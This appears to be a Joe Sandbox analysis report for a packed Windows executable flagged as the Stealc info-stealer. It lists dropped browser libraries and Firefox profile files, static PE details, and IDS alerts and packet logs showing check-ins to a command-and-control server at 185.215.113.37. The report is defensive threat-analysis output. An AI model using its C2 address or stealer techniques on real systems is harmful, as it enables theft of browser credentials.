Joe Sandbox View:	Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946301695215218
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'853'952 bytes
MD5:	0e6dc441b3900cc0d53a16cd1e2d3540
SHA1:	6fb377351bf07aa67d67fe385b5e5902c6eae12f
SHA256:	8dcfa1213bae055d0e6a82007b0a011e4cdc68f3b1ea4bfe9ac7020975da4433
SHA512:	d27430fba6547951ab42c7bf5a826b6fd9c1d34ca01f0192eb0d6d876cc61fd2b0f9bd4db4496318ebc3a489fdb4c0b6754d2493e288c1b71f569a9c02509a28
SSDEEP:	24576:d+bNyuKdnDAy2Faw62rzX7TaH+covS577ljRpZtVlamBcxlLpDDfkfSq8Up4RSK+:d+JgdnAFS2PL1cNflv/amGxlLtDkHeS
TLSH:	FC8533323E73ADEAC0DDC9F81127D00F75C9264968E3B92FAC57A6072763A464187DE4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7688C71DFAh
movaps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7688C73DF5h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8e034c13945eabc49a946fa321388c18	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a3000	0x200	88f48a5bad8279cc406d33568688e5d5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jrjitvme	0x501000	0x19f000	0x19e600	cf5dc45b5f68fb5af609e31c1fc22a00	False	0.9946449613499246	data	7.9533266531872435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bkhzzjyi	0x6a0000	0x1000	0x600	313e821b08f2882cf57c64404ea21afe	False	0.6080729166666666	data	5.265221691946313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	5352aa666081b57e789385fe6023dae2	False	0.0703125	DOS executable (COM)	0.8982973579920327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T03:22:06.017016+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:06.239587+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:06.245862+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-08T03:22:06.461204+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:06.554209+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-08T03:22:07.513423+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:08.092813+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:14.886207+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:15.914972+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:16.622375+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:18.277985+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:20.178156+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:20.714796+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:22:04.846668005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:04.851773977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:04.851869106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:04.852092981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:04.857743025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:05.774831057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:05.774899006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:05.776093006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:05.776161909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:05.777702093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:05.782536983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.016897917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.017015934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.018867016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.023653030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.239523888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.239576101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.239587069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.239618063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.240948915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.245862007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461103916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461133003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461147070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461170912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461204052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.461205006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461231947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.461239100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461272001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.461275101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.461297989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.461318970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.547816038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.547899008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.549258947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.554208994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.769973993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:06.770037889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:06.787153006 CEST	49704	80	192.168.2.5	185.215.113.37
